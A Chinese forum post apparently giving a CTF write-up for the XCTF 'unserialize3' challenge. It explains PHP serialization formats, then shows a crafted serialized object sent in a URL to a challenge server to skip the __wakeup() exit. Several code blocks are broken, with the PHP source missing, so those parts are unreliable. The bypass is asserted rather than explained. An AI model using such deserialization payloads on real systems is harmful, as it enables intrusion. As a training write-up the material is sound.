ToB企服应用市场:ToB评测及商务社交产业平台

标题: unserialize3 [打印本页]

作者: 北冰洋以北    时间: 2023-8-30 23:56
标题: unserialize3
unserialize3 writeup

php 序列化

序列化是程序类型转化为字符串的过程
字符串的序列化
  1. [/code]得到的输出是
  2. [code]s:7:"faraday";
复制代码
可以统一表达为正则的形式
  1. '/s:[0-9]+:"[^"]+";/;'
复制代码
整型的序列化
  1. [/code]得到的输出是
  2. [code]i:1;
复制代码
用正则表达则是
  1. '/i:[0-9]+/;'
复制代码
浮点数的序列化
  1. [/code]得到的输出是
  2. [code]d:1.1;
复制代码
用正则表达则是
  1. '/d:[0-9\.]+E[+-][0-9]+;/'
复制代码
布尔值的序列化
  1. [/code]得到的输出是
  2. [code]b:1;
复制代码
用正则表达则是
  1. '/b:0|1;/'
复制代码
数组的序列化
  1. [/code]得到的输出是
  2. [code]a:5:{i:0;i:1;
  3. i:1;d:1.1;i:2;s:1:"a";i:3;b:1;i:4;N;}
复制代码
分析一下结构
我们提取每一项的子串,如
  1. i:0;i:1;
  2. i:1;d:1.1;
复制代码
i:0 表示该项的 index 是 0;i:1 表示该项是一个整型,值为 1。
用正则表达则是
  1. '/a:[0-9]+:{(i:[0-9]+;|d:[0-9\.]+E[+-][0-9]+;|s:[0-9]+:"[^"]+";|b:0;|b:1;|N;)*}/'
复制代码
对象的序列化
  1. [/code]得到的输出是
  2. [code]O:6:"class1":4:{s:1:"a";i:1;s:1:"b";d:1.1;s:1:"c";s:1:"a";s:1:"d";a:1:{i:0;i:1;}}
复制代码
分析一下结构
提取一下子串
  1. s:1:"a";i:1;
复制代码
表示属性名为 a 的属性是整型,值为 1
php 反序列化

反序列化是程序将符合一定格式的字符串转化为程序类型的方法
  1. [/code]得到输出
  2. [code]O:6:"class1":4:{s:1:"a";i:1;s:1:"b";d:1.1;s:1:"c";s:1:"a";s:1:"d";a:1:{i:0;i:1;}}
  3. class1 Object
  4. (
  5.     [a] => 1
  6.     [b] => 1.1
  7.     [c] => a
  8.     [d] => Array
  9.         (
  10.             [0] => 1
  11.         )
  12. )
复制代码
魔术方法

魔术方法以"__"开头,跟反序列化过程相关的魔术方法有
unserialize3

回到题目,访问场景后得到:
  1. class xctf{
  2.     public $flag = '111';
  3.     public function __wakeup(){
  4.     exit('bad requests');
  5. }
  6. ?code=
复制代码
反序列化后立即触发__wakeup()
我们首先序列化一下
  1. [/code]得到输出
  2. [code]O:4:"xctf":1:{s:4:"flag";s:3:"111";}
复制代码
构造 url
  1. http://61.147.171.105:57300/index.php?code=O:4:%22xctf%22:1:{s:4:%22flag%22;s:3:%22111%22;}
复制代码
果然得到输出
bad requests
这说明我们对 php 的执行逻辑理解是正确的
接下来考虑如何避免触发__wakeup()
首先考虑类似 bof 的构造
  1. O:3:"xctf":1:{s:4:"flag";s:3:"111";}
复制代码
果然成功了


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4